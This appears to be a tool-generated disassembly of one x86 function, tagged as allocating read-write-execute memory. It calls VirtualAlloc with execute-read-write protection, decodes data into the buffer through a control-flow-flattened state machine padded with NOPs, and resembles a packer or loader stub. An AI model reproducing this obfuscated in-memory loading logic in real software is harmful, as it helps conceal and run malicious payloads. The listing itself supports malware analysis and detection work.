Function at 0x408580
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x3c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax + 0x11]
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x15]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x30], 0
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 5]
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x34], 0xf93eca10
mov edi, dword [sym.imp.ADVAPI32.dll_AddAccessAllowedObjectAce]
jmp 0x408610
mov esi, dword [edi]
mov dword [ebp - 0x34], 0x6e3673bf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x34]
cmp eax, 0xa81b468e
jg 0x408630
cmp eax, 0x839ae9c3
jne 0x408610
jmp 0x4085f9
cmp eax, 0xacf6f447
jg 0x408650
cmp eax, 0xa81b468f
jne 0x408610
inc dword [ebp - 0x2c]
mov dword [ebp - 0x34], 0xfb4f7955
jmp 0x408610
cmp eax, 0x723278e6
jg 0x408681
cmp eax, 0x6e3673be
jg 0x408694
cmp eax, 0xaf0c6267
jg 0x4086ad
cmp eax, 0xacf6f448
jne 0x408610
mov eax, 0x4e11b623
cmp dword [ebp - 0x28], 0
jne 0x40867c
mov eax, 0x18d6686e
mov dword [ebp - 0x34], eax
jmp 0x408610
cmp eax, 0x723278e7
jne 0x408610
mov dword [ebp - 0x34], 0xacf6f448
jmp 0x408610
cmp eax, 0x6e3673bf
jne 0x408610
mov esi, dword [edi]
mov dword [ebp - 0x34], 0x5c23c629
jmp 0x408610
cmp eax, 0xc8c2ec34
jg 0x4086c4
cmp eax, 0xaf0c6268
jne 0x408610
jmp 0x408a03
cmp eax, 0xf93eca0f
jg 0x40870b
cmp eax, 0xc8c2ec35
jne 0x408610
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
add eax, dword [ecx + 0x11]
mov ecx, dword [ecx + 0xd]
mov edx, dword [ebp - 0x28]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call fcn.004080b0
test eax, eax
mov eax, 0x723278e7
js 0x408703
mov eax, 0x5b050b1d
mov dword [ebp - 0x34], eax
jmp 0x408610
cmp eax, 0xfb4f7954
jg 0x408735
cmp eax, 0xf93eca10
jne 0x408610
mov eax, 0x164ce654
cmp dword [ebp - 0xc], 0
jne 0x40872d
mov eax, 0x1fa3eb6f
mov dword [ebp - 0x34], eax
jmp 0x408610
cmp eax, 0x9032854
jg 0x408764
cmp eax, 0xfb4f7955
jne 0x408610
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
mov eax, 0x455ac271
cmp ecx, dword [edx + 0xd]
jb 0x40875c
mov eax, 0x62a77a68
mov dword [ebp - 0x34], eax
jmp 0x408610
cmp eax, 0x164ce653
jg 0x4087b5
cmp eax, 0x9032855
jne 0x408610
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov edx, 0xff113ea9
sub edx, dword [ecx + 1]
lea eax, [edx + eax + 0xeec157]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov edx, dword [edx + 0x19]
add edx, ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.00407ba0
mov dword [ebp - 0x34], 0xc8c2ec35
jmp 0x408610
cmp eax, 0x18d6686d
jg 0x4087da
cmp eax, 0x164ce654
jne 0x408610
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x34], 0xfb4f7955
jmp 0x408610
cmp eax, 0x1fa3eb6e
jg 0x4087ff
cmp eax, 0x18d6686e
jne 0x408610
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x34], 0xaf0c6268
jmp 0x408610
cmp eax, 0x2e1614f9
jg 0x40881d
cmp eax, 0x1fa3eb6f
jne 0x408610
mov dword [ebp - 0x34], 0x6e3673bf
jmp 0x408610
cmp eax, 0x455ac270
jg 0x408852
cmp eax, 0x2e1614fa
jne 0x408610
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx + 1]
add ecx, eax
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00407800
mov dword [ebp - 0x34], 0x60ea8c0d
jmp 0x408610
cmp eax, 0x4e11b622
jg 0x40889c
cmp eax, 0x455ac271
jne 0x408610
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 5]
mov edx, dword [ebp - 0x28]
add edx, dword [eax + 1]
add eax, 0xd
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.00402ae0
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 5]
lea eax, [eax + ecx + 0xd]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], 0xa81b468f
jmp 0x408610
cmp eax, 0x5b050b1c
jg 0x4088d9
cmp eax, 0x4e11b623
jne 0x408610
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_VirtualFree]
sub esp, 0xc
mov dword [ebp - 0x34], 0x18d6686e
jmp 0x408610
cmp eax, 0x62a77a67
jg 0x408902
cmp eax, 0x5b050b1d
je 0x40898f
cmp eax, 0x5c23c629
jne 0x4089a1
mov dword [ebp - 0x34], 0xacf6f448
jmp 0x408610
cmp eax, 0x62a77a68
jne 0x408610
mov eax, dword [ebp - 0x24]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], ecx
mov dword [esp + 8], 0x20
call fcn.00402ae0
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
mov ecx, eax
not ecx
and ecx, 0xa073d37d
and eax, 0x82
add eax, ecx
mov ecx, eax
xor ecx, 0x5f8c2c82
xor eax, 0x4d
and eax, 0xcd
mov edx, ecx
and edx, 0x209132
add edx, eax
xor edx, 0x209133
and ecx, 0xfffffffe
or ecx, edx
mov eax, ecx
not eax
and eax, 0x43b62b2b
and ecx, 0xbc49d4d4
add ecx, eax
xor ecx, 0xbc49d4d4
mov eax, 0x2e1614fa
jne 0x408987
mov eax, 0x60ea8c0d
mov dword [ebp - 0x34], eax
jmp 0x408610
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], 0xaf0c6268
jmp 0x408610
cmp eax, 0x60ea8c0d
jne 0x408610
call fcn.0040a9b0
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
mov ecx, eax
not ecx
and ecx, 0x1984c149
and eax, 0xb6
add eax, ecx
mov ecx, eax
xor ecx, 0xe67b3eb6
xor eax, 0x40
and eax, 0x74
mov edx, ecx
and edx, 0x1184018b
add edx, eax
xor edx, 0x11840188
and ecx, 0xfffffffc
or ecx, edx
not ecx
test ecx, ecx
mov eax, 0x9032855
jne 0x4089fb
mov eax, 0xc8c2ec35
mov dword [ebp - 0x34], eax
jmp 0x408610
mov eax, dword [ebp - 0x10]
add esp, 0x3c
pop esi
pop edi
pop ebp
ret